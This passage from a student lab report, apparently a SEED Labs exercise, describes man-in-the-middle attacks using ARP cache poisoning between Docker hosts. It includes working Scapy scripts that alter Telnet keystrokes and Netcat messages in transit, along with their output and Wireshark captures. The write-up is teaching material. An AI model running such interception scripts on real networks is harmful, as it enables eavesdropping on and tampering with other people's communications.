| 853 2023-11-18 14:31... 10.9.0.5          | 10.9.0.6          | ICMP | 98 Echo (ping) request             | id=0x0007, seq=6/1536, ttl=64 (reply in ...)  |
| 854 2023-11-18 14:31... 10.9.0.105        | 10.9.0.5          | ICMP | 126 Redirect                       | (Redirect for host)                           |
| 855 2023-11-18 14:31... 10.9.0.6          | 10.9.0.5          | ICMP | 98 Echo (ping) reply               | id=0x0007, seq=6/1536, ttl=63 (request i...)  |
| 856 2023-11-18 14:31... 02:42:0a:09:00:05 | 02:42:0a:09:00:69 | ARP  | 42 Who has 10.9.0.6? Tell 10.9.0.5 |   |
| 857 2023-11-18 14:31... 10.9.0.5          | 10.9.0.6          | ICMP | 98 Echo (ping) request             | id=0x0007, seq=6/1536, ttl=64 (no respons...) |

## Step-4: Launch man in the middle attack

Host M, positioned as a man-in-the-middle, aimed to intercept Telnet communication between A and B. A sniff-and-spoof program was implemented to capture TCP packets and modify the payload.

Turn on telnet on A with ip forwarding enabled and running the script from M:

```
root@9e8d4a4a196:/# 
root@9e8d4a4a196:/# telnet 10.9.0.6
Trying 10.9.0.6...
Connected to 10.9.0.6.
Escape character is '^>'.
Ubuntu 20.04.1 LTS
926779ef30ee login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-122-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
```

This system has been minimized by removing packages and content that are not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.  
Last login: Sun Nov 19 00:24:48 UTC 2023 from A-10.9.0.5.net-10.9.0.0 on pts/6  
seed@926779ef30ee:~\$

Now turn off the ip forwarding

```
root@0c7a43f41797:/volumes# sysctl net.ipv4.ip_forward=0
net.ipv4.ip_forward = 0
root@0c7a43f41797:/volumes#
```

Run the spoofing script.

```
#!/usr/bin/env python3
from scapy.all import *
import re

IP_A = "10.9.0.5"
MAC_A = "02:42:0a:09:00:05"
IP_B = "10.9.0.6"
MAC_B = "02:42:0a:09:00:06"

def spoof_pkt(pkt):
    if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
        # Create a new packet based on the captured one.
        # 1) We need to delete the checksum in the IP & TCP headers,
        # because our modification will make them invalid.
        # Scapy will recalculate them if these fields are missing.
        # 2) We also delete the original TCP payload.
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].payload)
        del(newpkt[TCP].chksum)

        #####
        # Construct the new payload based on the old payload.
        # Students need to implement this part.
        if pkt[TCP].payload:
            data = pkt[TCP].payload.load # The original payload data
            data = data.decode()
            newdata = re.sub(r'[a-zA-Z]', r'Z', data)
            print(data + "->" + newdata)
            send(newpkt/newdata)
        else:
            send(newpkt)

        #####
    elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
        # Create new packet based on the captured one
        # Do not make any change
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)
```

```
net.ipv4.ip_forward = 0
root@0c7a43f41797:/volumes# python3 MITM2.py
er->ZZ
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
k->Z
.
Sent 1 packets.
j->Z
.
Sent 1 packets.
.
Sent 1 packets.
f->Z
.
Sent 1 packets.
```

**Result:** The spoof program is intercepting the network traffic and replacing all the characters with character Z. when the user types anything on the telnet window only series of Z's will appear.

```
To restore this content, you can run the 'unminimize' command.
Last login: Sun Nov 19 00:24:48 UTC 2023 from A-10.9.0.5.net-10.9.0.0 on pts/6
seed@926779ef30ee:~$ zzzzzzzzzzzzzzzzzzzzzzzzzzz
-bash: zzzzzzzzzzzzzzzzzzzzzzzzzzz: command not found
seed@926779ef30ee:~$ zzzzzzzzzzzzzzzzz zzzzz zzzzzzzzzzzzzzzzzzz
-bash: zzzzzzzzzzzzzzz: command not found
seed@926779ef30ee:~$ zzzzzzzzzzzzzzzzzzzzzzzzzzzzz
-bash: zzzzzzzzzzzzzzzzzzzzzzzzzzz: command not found
seed@926779ef30ee:~$ zzzzzzzzzzzzzzzzzzzzzzzzzzzzz
-bash: zzzzzzzzzzzzzzzzzzzzzzzzzzz: command not found
seed@926779ef30ee:~$ zzzzzzzzzzzzzzzzzzzzzzzzzzz
-bash: zzzzzzzzzzzzzzzzzzzzzzzzzzz: command not found
seed@926779ef30ee:~$ zzzzzzzzzzzzzzzzz
-bash: zzzzzzzzzzzzzzzzz: command not found
seed@926779ef30ee:~$ █
```

## Conclusion:

Man in the middle attack was successful. Host Machine was able to not only intercept the packets but also modify it. Following wireshark image shows all the different protocols in play along with redirection of packets.

|                                    |          |        |  |
|------------------------------------|----------|--------|--|
| 86719 2023-11-19 00:31... 10.9.0.5 | 10.9.0.6 | TCP    | 66 [TCP Dup ACK 86718#1] 58796 → 23 [ACK] Seq=3886831527 Ack=258...  |
| 86720 2023-11-19 00:31... 10.9.0.5 | 10.9.0.6 | TELNET | 68 [TCP Spurious Retransmission] Telnet Data ...                     |
| 86721 2023-11-19 00:31... 10.9.0.6 | 10.9.0.5 | TCP    | 68 [TCP Retransmission] 23 → 58796 [PSH, ACK] Seq=2587048411 Ack...  |
| 86722 2023-11-19 00:31... 10.9.0.5 | 10.9.0.6 | TCP    | 66 58796 → 23 [ACK] Seq=3886831527 Ack=2587048413 Win=64128 Len=...  |
| 86723 2023-11-19 00:31... 10.9.0.6 | 10.9.0.5 | TCP    | 125 [TCP Retransmission] 23 → 58796 [PSH, ACK] Seq=2587048413 Ack... |
| 86724 2023-11-19 00:31... 10.9.0.5 | 10.9.0.6 | TCP    | 66 58796 → 23 [ACK] Seq=3886831527 Ack=2587048472 Win=64128 Len=...  |
| 86725 2023-11-19 00:31... 10.9.0.5 | 10.9.0.6 | TELNET | 68 [TCP Spurious Retransmission] TelNet Data ...                     |
| 86726 2023-11-19 00:31... 10.9.0.6 | 10.9.0.5 | TCP    | 68 [TCP Retransmission] 23 → 58796 [PSH, ACK] Seq=2587048411 Ack...  |
| 86727 2023-11-19 00:31... 10.9.0.5 | 10.9.0.6 | TCP    | 66 58796 → 23 [ACK] Seq=3886831527 Ack=2587048413 Win=64128 Len=...  |
| 86728 2023-11-19 00:31... 10.9.0.6 | 10.9.0.5 | TCP    | 125 [TCP Retransmission] 23 → 58796 [PSH, ACK] Seq=2587048413 Ack... |
| 86729 2023-11-19 00:31... 10.9.0.5 | 10.9.0.6 | TCP    | 66 58796 → 23 [ACK] Seq=3886831527 Ack=2587048472 Win=64128 Len=...  |
| 86730 2023-11-19 00:32... 10.9.0.5 | 10.9.0.6 | TELNET | 75 Telnet Data ...   |
| 86731 2023-11-19 00:32... 10.9.0.5 | 10.9.0.6 | TCP    | 75 [TCP Retransmission] 58796 → 23 [PSH, ACK] Seq=3886831527 Ack...  |
| 86732 2023-11-19 00:32... 10.9.0.5 | 10.9.0.6 | TCP    | 75 [TCP Retransmission] 58796 → 23 [PSH, ACK] Seq=3886831527 Ack...  |
| 86733 2023-11-19 00:32... 10.9.0.5 | 10.9.0.6 | TCP    | 75 [TCP Retransmission] 58796 → 23 [PSH, ACK] Seq=3886831527 Ack...  |
| 86734 2023-11-19 00:32... 10.9.0.5 | 10.9.0.6 | TCP    | 75 [TCP Retransmission] 58796 → 23 [PSH, ACK] Seq=3886831527 Ack...  |
| 86735 2023-11-19 00:32... 10.9.0.5 | 10.9.0.6 | TCP    | 75 [TCP Retransmission] 58796 → 23 [PSH, ACK] Seq=3886831527 Ack...  |
| 86736 2023-11-19 00:32... 10.9.0.5 | 10.9.0.6 | TCP    | 75 [TCP Retransmission] 58796 → 23 [PSH, ACK] Seq=3886831527 Ack...  |
| 86737 2023-11-19 00:32... 10.9.0.5 | 10.9.0.6 | TCP    | 75 [TCP Retransmission] 58796 → 23 [PSH, ACK] Seq=3886831527 Ack...  |
| 86738 2023-11-19 00:32... 10.9.0.5 | 10.9.0.6 | TCP    | 75 [TCP Retransmission] 58796 → 23 [PSH, ACK] Seq=3886831527 Ack...  |
| 86739 2023-11-19 00:32... 10.9.0.5 | 10.9.0.6 | TCP    | 75 [TCP Retransmission] 58796 → 23 [PSH, ACK] Seq=3886831527 Ack...  |
| 86740 2023-11-19 00:32... 10.9.0.5 | 10.9.0.6 | TCP    | 75 [TCP Retransmission] 58796 → 23 [PSH, ACK] Seq=3886831527 Ack...  |
| 86741 2023-11-19 00:32... 10.9.0.5 | 10.9.0.6 | TCP    | 75 [TCP Retransmission] 58796 → 23 [PSH, ACK] Seq=3886831527 Ack...  |
| 86746 2023-11-19 00:32... 10.9.0.5 | 10.9.0.6 | TCP    | 75 [TCP Retransmission] 58796 → 23 [PSH, ACK] Seq=3886831527 Ack...  |
| 86748 2023-11-19 00:32... 10.9.0.5 | 10.9.0.6 | TCP    | 75 [TCP Retransmission] 58796 → 23 [PSH, ACK] Seq=3886831527 Ack...  |
| 86753 2023-11-19 00:32... 10.9.0.5 | 10.9.0.6 | TCP    | 75 [TCP Retransmission] 58796 → 23 [PSH, ACK] Seq=3886831527 Ack...  |
| 86754 2023-11-19 00:32... 10.9.0.6 | 10.9.0.5 | TELNET | 92 Telnet Data ...   |
| 86755 2023-11-19 00:32... 10.9.0.5 | 10.9.0.6 | TELNET | 75 Telnet Data ...   |
| 86756 2023-11-19 00:32... 10.9.0.6 | 10.9.0.5 | TELNET | 92 Telnet Data ...   |
| 86757 2023-11-19 00:32... 10.9.0.5 | 10.9.0.6 | TCP    | 66 58796 → 23 [ACK] Seq=3886831545 Ack=2587048524 Win=64128 Len=...  |
| 86760 2023-11-19 00:32... 10.9.0.5 | 10.9.0.6 | TELNET | 75 [TCP Spurious Retransmission] TelNet Data ...                     |
| 86761 2023-11-19 00:32... 10.9.0.6 | 10.9.0.5 | TCP    | 92 [TCP Retransmission] 23 → 58796 [PSH, ACK] Seq=2587048472 Ack...  |
| 86762 2023-11-19 00:32... 10.9.0.5 | 10.9.0.6 | TCP    | 75 [TCP Retransmission] 58796 → 23 [PSH, ACK] Seq=3886831536 Ack...  |
| 86763 2023-11-19 00:32... 10.9.0.6 | 10.9.0.5 | TCP    | 92 [TCP Retransmission] 23 → 58796 [PSH, ACK] Seq=2587048498 Ack...  |
| 86764 2023-11-19 00:32... 10.9.0.5 | 10.9.0.6 | TCP    | 66 58796 → 23 [ACK] Seq=3886831545 Ack=2587048524 Win=64128 Len=...  |

## Task 3: MITM Attack on Netcat using ARP Cache Poisoning

### Step 1: Launch the ARP Cache Poisoning Attack

Similar to Task 2, Host M initiated an ARP cache poisoning attack on both Hosts A and B, manipulating their ARP caches. This involved sending ARP packets to create fake mappings between B's IP address and M's MAC address in A's ARP cache, and A's IP address and M's MAC address in B's ARP cache.

Turn the ip forwarding on and establish a connection between A and B using netcat.

### On Host Machine A:

```
root@a9e8d4a4a196:/# nc 10.9.0.6 9090
disha
dishakdjscn
```

On Host Machine B:

```
root@926779ef30ee:/# nc -lp 9090
disha
dishakdjscn
```

Run the spoofing script.

```
GNU nano 4.8                                MITM3.py
IP_A = "10.9.0.5"
MAC_A = "02:42:0a:09:00:05"
IP_B = "10.9.0.6"
MAC_B = "02:42:0a:09:00:06"

def spoof_pkt(pkt):
    if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
        # Create a new packet based on the captured one.
        # 1) We need to delete the checksum in the IP & TCP headers,
        # because our modification will make them invalid.
        # Scapy will recalculate them if these fields are missing.
        # 2) We also delete the original TCP payload.
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].payload)
        del(newpkt[TCP].chksum)

        #####
        # Construct the new payload based on the old payload.
        # Students need to implement this part.
        if pkt[TCP].payload:
            data = pkt[TCP].payload.load # The original payload data
            #data = data.decode()
            newdata = data.replace(b'disha',b'AAAAA')
            print(str(data) + "->" + str(newdata))
            newpkt[IP].len = pkt[IP].len + len(newdata) -len(data)
            send(newpkt/newdata)
        else:
            send(newpkt)

        #####
    elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
        # Create new packet based on the captured one
        # Do not make any change
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)
        send(newpkt)

f ='tcp and (ether src 02:42:0a:09:00:05 or ether src 02:42:0a:09:00:06)'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
```

```
TypeError: can't concat str to bytes
root@0c7a43f41797:/volumes# nano MITM3.py
root@0c7a43f41797:/volumes# python3 MITM3.py
b'idufhsjdvh\n'->b'idufhsjdvh\n'
.
Sent 1 packets.
.
Sent 1 packets.
b'dishandmnc\n'->b'AAAAAndmnc\n'
.
Sent 1 packets.
.
Sent 1 packets.
b'disha\n'->b'AAAAAA\n'
.
Sent 1 packets.
.
Sent 1 packets.
```

**Result:** once we start running the spoofing script. Whenever something is typed in the NETCAT client window. If it contains my first name “disha” it will be replaced by series of A’s as follows.

**On Host machine A:**

```
sdkjckxn
idufhsjdvh
dishandmnc
disha
```

**On Host Machine B:**

```
sdkjckxn
idufhsjdvh
AAAAAndmnc
AAAAAA
```

**Result:** The spoofing script successfully did its job and replaced firstname with series of A’s. The man in the middle attack is successful. In the below wireshark snapshot we can see how different packets are getting transferred and all the protocols that are in play.

|       |                    |                        |             |      |  |
|-------|--------------------|------------------------|-------------|------|--|
| 86986 | 2023-11-19 00:59.. | 10.9.0.5               | 10.9.0.6    | TCP  | 87 [TCP Retransmission] 41026 → 9090 [PSH, ACK] Seq=2682226557 A...  |
| 86987 | 2023-11-19 00:59.. | 10.9.0.6               | 10.9.0.5    | TCP  | 66 9090 → 41026 [ACK] Seq=981649983 Ack=2682226578 Win=65280 Len...  |
| 87006 | 2023-11-19 00:59.. | 10.9.0.1               | 224.0.0.251 | MDNS | 183 Standard query 0x0000 PTR _nfs._tcp.local, "QM" question PTR ... |
| 87007 | 2023-11-19 00:59.. | 10.9.0.1               | 224.0.0.251 | MDNS | 183 Standard query 0x0000 PTR _nfs._tcp.local, "QM" question PTR ... |
| 87008 | 2023-11-19 00:59.. | 10.9.0.1               | 224.0.0.251 | MDNS | 183 Standard query 0x0000 PTR _nfs._tcp.local, "QM" question PTR ... |
| 87025 | 2023-11-19 01:00.. | fe80::42:3cff:fe07:..  | ff02::fb    | MDNS | 180 Standard query 0x0000 PTR _nfs._tcp.local, "QM" question PTR ... |
| 87026 | 2023-11-19 01:00.. | fe80::42:3cff:fe07:..  | ff02::fb    | MDNS | 180 Standard query 0x0000 PTR _nfs._tcp.local, "QM" question PTR ... |
| 87027 | 2023-11-19 01:00.. | fe80::42:3cff:fe07:..  | ff02::fb    | MDNS | 180 Standard query 0x0000 PTR _nfs._tcp.local, "QM" question PTR ... |
| 87028 | 2023-11-19 01:00.. | fe80::d091:ffff:fe2..  | ff02::fb    | MDNS | 203 Standard query 0x0000 PTR _nfs._tcp.local, "QM" question PTR ... |
| 87029 | 2023-11-19 01:00.. | fe80::e8c9:8e4ff:fe6.. | ff02::fb    | MDNS | 203 Standard query 0x0000 PTR _nfs._tcp.local, "QM" question PTR ... |
| 87030 | 2023-11-19 01:00.. | fe80::f4f3:6bff:feb..  | ff02::fb    | MDNS | 203 Standard query 0x0000 PTR _nfs._tcp.local, "QM" question PTR ... |
| 87191 | 2023-11-19 01:01.. | 10.9.0.5               | 10.9.0.6    | TCP  | 78 41026 → 9090 [PSH, ACK] Seq=2682226578 Ack=981649983 Win=6425...  |
| 87194 | 2023-11-19 01:01.. | 10.9.0.5               | 10.9.0.6    | TCP  | 78 [TCP Retransmission] 41026 → 9090 [PSH, ACK] Seq=2682226578 A...  |
| 87195 | 2023-11-19 01:01.. | 10.9.0.6               | 10.9.0.5    | TCP  | 66 9090 → 41026 [ACK] Seq=981649983 Ack=2682226590 Win=65280 Len...  |
| 87198 | 2023-11-19 01:01.. | 10.9.0.6               | 10.9.0.5    | TCP  | 66 [TCP Dup ACK 87195#1] 9090 → 41026 [ACK] Seq=981649983 Ack=26...  |
| 87201 | 2023-11-19 01:01.. | 10.9.0.5               | 10.9.0.6    | TCP  | 78 [TCP Spurious Retransmission] 41026 → 9090 [PSH, ACK] Seq=268...  |
| 87202 | 2023-11-19 01:01.. | 10.9.0.6               | 10.9.0.5    | TCP  | 66 [TCP Dup ACK 87195#2] 9090 → 41026 [ACK] Seq=981649983 Ack=26...  |
| 87204 | 2023-11-19 01:01.. | 10.9.0.5               | 10.9.0.6    | TCP  | 78 [TCP Spurious Retransmission] 41026 → 9090 [PSH, ACK] Seq=268...  |
| 87208 | 2023-11-19 01:01.. | 10.9.0.6               | 10.9.0.5    | TCP  | 66 [TCP Dup ACK 87195#3] 9090 → 41026 [ACK] Seq=981649983 Ack=26...  |
| 87209 | 2023-11-19 01:01.. | 10.9.0.5               | 10.9.0.6    | TCP  | 77 41026 → 9090 [PSH, ACK] Seq=2682226590 Ack=981649983 Win=6425...  |
| 87216 | 2023-11-19 01:01.. | 10.9.0.5               | 10.9.0.6    | TCP  | 77 [TCP Retransmission] 41026 → 9090 [PSH, ACK] Seq=2682226590 A...  |
| 87211 | 2023-11-19 01:01.. | 10.9.0.6               | 10.9.0.5    | TCP  | 66 9090 → 41026 [ACK] Seq=981649983 Ack=2682226601 Win=65280 Len...  |
| 87212 | 2023-11-19 01:01.. | 10.9.0.6               | 10.9.0.5    | TCP  | 66 [TCP Dup ACK 87211#1] 9090 → 41026 [ACK] Seq=981649983 Ack=26...  |
| 87213 | 2023-11-19 01:01.. | 10.9.0.5               | 10.9.0.6    | TCP  | 77 [TCP Spurious Retransmission] 41026 → 9090 [PSH, ACK] Seq=268...  |
| 87214 | 2023-11-19 01:01.. | 10.9.0.6               | 10.9.0.5    | TCP  | 66 [TCP Dup ACK 87211#2] 9090 → 41026 [ACK] Seq=981649983 Ack=26...  |
| 87215 | 2023-11-19 01:01.. | 10.9.0.5               | 10.9.0.6    | TCP  | 77 [TCP Spurious Retransmission] 41026 → 9090 [PSH, ACK] Seq=268...  |
| 87216 | 2023-11-19 01:01.. | 10.9.0.6               | 10.9.0.5    | TCP  | 66 [TCP Dup ACK 87211#3] 9090 → 41026 [ACK] Seq=981649983 Ack=26...  |
| 87227 | 2023-11-19 01:01.. | 10.9.0.5               | 10.9.0.6    | TCP  | 72 41026 → 9090 [PSH, ACK] Seq=2682226601 Ack=981649983 Win=6425...  |
| 87228 | 2023-11-19 01:01.. | 10.9.0.6               | 10.9.0.5    | TCP  | 66 9090 → 41026 [ACK] Seq=981649983 Ack=2682226601 Win=65280 Len...  |
| 87229 | 2023-11-19 01:01.. | 10.9.0.5               | 10.9.0.6    | TCP  | 72 [TCP Spurious Retransmission] 41026 → 9090 [PSH, ACK] Seq=268...  |
| 87230 | 2023-11-19 01:01.. | 10.9.0.5               | 10.9.0.6    | TCP  | 72 [TCP Spurious Retransmission] 41026 → 9090 [PSH, ACK] Seq=268...  |
| 87231 | 2023-11-19 01:01.. | 10.9.0.6               | 10.9.0.5    | TCP  | 66 [TCP Dup ACK 87228#1] 9090 → 41026 [ACK] Seq=981649983 Ack=26...  |
| 87232 | 2023-11-19 01:01.. | 10.9.0.6               | 10.9.0.5    | TCP  | 66 [TCP Dup ACK 87228#2] 9090 → 41026 [ACK] Seq=981649983 Ack=26...  |
| 87233 | 2023-11-19 01:01.. | 10.9.0.5               | 10.9.0.6    | TCP  | 72 [TCP Spurious Retransmission] 41026 → 9090 [PSH, ACK] Seq=268...  |
| 87234 | 2023-11-19 01:01.. | 10.9.0.6               | 10.9.0.5    | TCP  | 66 [TCP Dup ACK 87228#3] 9090 → 41026 [ACK] Seq=981649983 Ack=26...  |